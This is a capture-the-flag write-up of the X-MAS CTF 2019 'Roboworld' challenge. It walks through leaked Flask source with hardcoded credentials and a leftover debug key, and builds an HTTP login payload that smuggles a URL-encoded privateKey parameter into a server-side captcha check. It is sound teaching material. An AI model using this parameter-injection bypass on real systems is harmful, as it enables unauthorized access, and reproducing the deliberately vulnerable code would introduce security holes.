Solving Roboworld from X-MAS CTF 2019

Posted on Sat 21 December 2019 in CTF by 0xm4v3rick


The author note for this CTF challenge.

1
2
3
4
5
A friend of mine told me about this website where I can find secret cool stuff. He even managed to leak a part of the source code for me, but when I try to login it always fails :(  
Can you figure out what's wrong and access the secret files?  
Remote server: http://challs.xmas.htsp.ro:11000  
Files: leak.py  
Author: Reda

Lets look at the things we have. Browsing through the remote server URL gives you a login page as shown below. Looks like we may have to bypass the login.

login

The login request generated from above page is as follows. Note the captcha value sent along with credentials at line 14.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST /login HTTP/1.1
Host: challs.xmas.htsp.ro:11000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://challs.xmas.htsp.ro:11000
Connection: close
Referer: http://challs.xmas.htsp.ro:11000/
Upgrade-Insecure-Requests: 1

user=test&pass=test&captcha_verification_value=19OaI9eSj2

The leak.py source provided shows what the backend looks like. Lets go through it in brief to better understand the situation.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from flask import Flask, render_template, request, session, redirect
import os
import requests
from captcha import verifyCaptchaValue

app = Flask(__name__)

@app.route('/')
def index():
    return render_template("index.html")

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('user')
    password = request.form.get('pass')
    captchaToken = request.form.get('captcha_verification_value')

    privKey = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" #redacted
    r = requests.get('http://127.0.0.1:{}/captchaVerify?captchaUserValue={}&privateKey={}'.format(str(port), captchaToken, privKey))
    #backdoored ;)))
    if username == "backd00r" and password == "catsrcool" and r.content == b'allow':
        session['logged'] = True
        return redirect('//redacted//')
    else:
        return "login failed"


@app.route('/captchaVerify')
def captchaVerify():
    #only 127.0.0.1 has access
    if request.remote_addr != "127.0.0.1":
        return "Access denied"

    token = request.args.get('captchaUserValue')
    privKey = request.args.get('privateKey')
    #TODO: remove debugging privkey for testing: 8EE86735658A9CE426EAF4E26BB0450E from captcha verification system
    if(verifyCaptchaValue(token, privKey)):
        return str("allow")
    else:
        return str("deny")
  • Line 1-4 : are the imports required for the flask program to work. After searching the internet, verifyCaptchaValue seems like a custom function.
  • Line 6 : creates and instance of Flask app.
  • Line 8-10 : defines a function to execute when root directory is accessed. In this case index.html will be served.
  • Line 12-25 : defines a function to execute when login API is accessed. It takes 3 parameters from the POST request(line 14-16). Line 18 has privKey redacted so we will need to make do without it. Line 19 creates a GET request to localhost with captchaToken and privKey which as the name suggests will verify the captcha. Line 21 shows hardcoded credentials which is never a good idea. So the logic checks if the user is backd00r,password is catsrcool and r.content is allow. If all three match than the session is granted and redirection happens to redacted page on line 23 else the login fails.
  • Line 28-40 : defines a function for captchaVerify API. Line 31 checks if the IP address from which the request came is 127.0.0.1. If not access is denied. Line 34-35 takes 2 parameters from the request which would be used further. Line 36 has an interesting comment about a privatekey used for testing the captcha verification system. Line 37 verifies the captch with privKey and token and returns allow or deny accordingly.

Now that we have good idea of what is happening at the backend we can confirm that the login needs to be bypassed and we can plan to do so. We already have the hardcoded credentials. Only thing we need to do is somehow make the value of r.content as allow. That would happen when we provide the right privKey and token to the verifyCaptchaValue.

With that in mind I started with captchaVerify to see how it behaves as figuring that is the key to solving the challenge. It seems that we could query the API from outside even though the code suggests that only localhost can access it. We use the arguments that it expects and send a GET request with debugging privkey and captch from the login request.
Side note: Its always good to verify the code by testing it as the code you have may not be the same as that on the server due to various reasons.

Request:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /captchaVerify?captchaUserValue=19OaI9eSj2&privateKey=8EE86735658A9CE426EAF4E26BB0450E HTTP/1.1
Host: challs.xmas.htsp.ro:11000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://challs.xmas.htsp.ro:11000
Connection: close
Referer: http://challs.xmas.htsp.ro:11000/
Upgrade-Insecure-Requests: 1

Response:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 19 Dec 2019 10:10:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5
Connection: close

allow

Now that we have checked that the test privKey is still working, we need to figure out what can be done about captcha value as that needs to match to pass the verification. Lets check to see how the captcha is generated. Looking through the view-source on login the page we see more developer comments :D.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<head>
    <script>
    function captchaGenerateVerificationValue()
    {
        //Devnote:
        //Oops I broke the captcha verification function
        //so it will just generate random stuff for the verification value
        //hope no one notices :O

        var characters       = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
        var charactersLength = characters.length;
        result = ""
        for ( var i = 0; i < 10; i++ ) {
            result += characters.charAt(Math.floor(Math.random() * charactersLength));
        }

        document.getElementById("captcha").value = result
    }
    </script>
</head>

Login:

<form method="post" action="/login">
    Username: <input type="text" name="user" /><br>
    Password: <input type="password" name="pass" /><br>
    Captcha: <input id="captcha" onchange="captchaGenerateVerificationValue()" type="checkbox" name="captcha_verification_value" value="" /> I am not a robot <br>
    <input type="submit" value="Login" /><br>
</form>

As can be seen from the Devnote and the captchaGenerateVerificationValue function, the captcha verification seems to be broken and a random value is generated, which probably means it wont be checked at the backend. Lets try it out. Sending a random value instead of captcha does not make any difference and we pass the verification.

Request

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /captchaVerify?captchaUserValue=random&privateKey=8EE86735658A9CE426EAF4E26BB0450E HTTP/1.1
Host: challs.xmas.htsp.ro:11000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://challs.xmas.htsp.ro:11000
Connection: close
Referer: http://challs.xmas.htsp.ro:11000/
Upgrade-Insecure-Requests: 1

Response

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 19 Dec 2019 11:00:01 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5
Connection: close

allow

It is also important to note that the server honours the first occurance of privateKey as that will be useful during exploitation. Hence below request would still pass the verification.

1
GET /captchaVerify?captchaUserValue=random&privateKey=8EE86735658A9CE426EAF4E26BB0450E&privateKey=1

This allows us to set the captcha value to whatever we want so that we can manipulate the login request as that too contains the captcha value. I decided to try this out on local setup instead of beating on the CTF server as I have the source code available. Below is the changed code to try and replicate the backend.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from flask import Flask, render_template, request, session, redirect
import os
import requests
#from captcha import verifyCaptchaValue

app = Flask(__name__)

@app.route('/')
def index():
    return render_template("index.html")

@app.route('/login', methods=['POST'])
def login():
    port = 80
    username = request.form.get('user')
    print username
    password = request.form.get('pass')
    print password
    captchaToken = request.form.get('captcha_verification_value')
    print captchaToken
    privKey = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" #redacted
    r = requests.get('http://127.0.0.1:{}/captchaVerify?captchaUserValue={}&privateKey={}'.format(str(port), captchaToken, privKey))
    #backdoored ;)))
    if username == "backd00r" and password == "catsrcool" and r.content == b'allow':
        session['logged'] = True
        return redirect('//redacted//')
    else:
        return "login failed"

'''
@app.route('/captchaVerify')
def captchaVerify():
    #only 127.0.0.1 has access
    if request.remote_addr != "127.0.0.1":
        return "Access denied"

    token = request.args.get('captchaUserValue')
    privKey = request.args.get('privateKey')
    #TODO: remove debugging privkey for testing: 8EE86735658A9CE426EAF4E26BB0450E from captcha verification system
    if(verifyCaptchaValue(token, privKey)):
        return str("allow")
    else:
        return str("deny")
'''

if __name__ == '__main__':
    app.run()

The idea here is to manipulate the captcha_verification_value from the login request so that it will end up in captchaUserValue in line 22 above. That will allow us to utilize the vulnerability in captach verification and bypass the login. So a login payload of

1
user=backd00r&pass=catsrcool&captcha_verification_value=random&privateKey=8EE86735658A9CE426EAF4E26BB0450E

results into the GET request as below

1
/captchaVerify?captchaUserValue=random&privateKey=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

We do not see the privateKey that we had passed. After some trial and errors the final login request looks like below. We need to URL encode the & to make it parsable in post login request and visible in GET request later.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST /login HTTP/1.1
Host: challs.xmas.htsp.ro:11000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
Origin: http://challs.xmas.htsp.ro:11000
Connection: close
Referer: http://challs.xmas.htsp.ro:11000/
Upgrade-Insecure-Requests: 1

user=backd00r&pass=catsrcool&captcha_verification_value=random%26privateKey=8EE86735658A9CE426EAF4E26BB0450E

The above post body will result in the GET request as

1
/captchaVerify?captchaUserValue=random&privateKey=8EE86735658A9CE426EAF4E26BB0450E&privateKey=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

and the response returned to us is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
HTTP/1.1 302 FOUND
Server: nginx
Date: Thu, 19 Dec 2019 12:07:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 251
Location: http://challs.xmas.htsp.ro:11000/dashboard_jidcc88574c
Connection: close
Vary: Cookie
Set-Cookie: session=eyJsb2dnZWQiOnRydWV9.Xftn5A.sdhb9kxBfoqHgBPvbz1rnTdA0ik; HttpOnly; Path=/

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/dashboard_jidcc88574c">/dashboard_jidcc88574c</a>.  If not click the link.

We follow the redirect and are show the below page. The wtf.mp4 contains the flag as shown in the last image.

dir

flag

That was how I approached the problem and solved it. Feel free to ping me on twitter for feedback or queries.
- 0xm4v3rick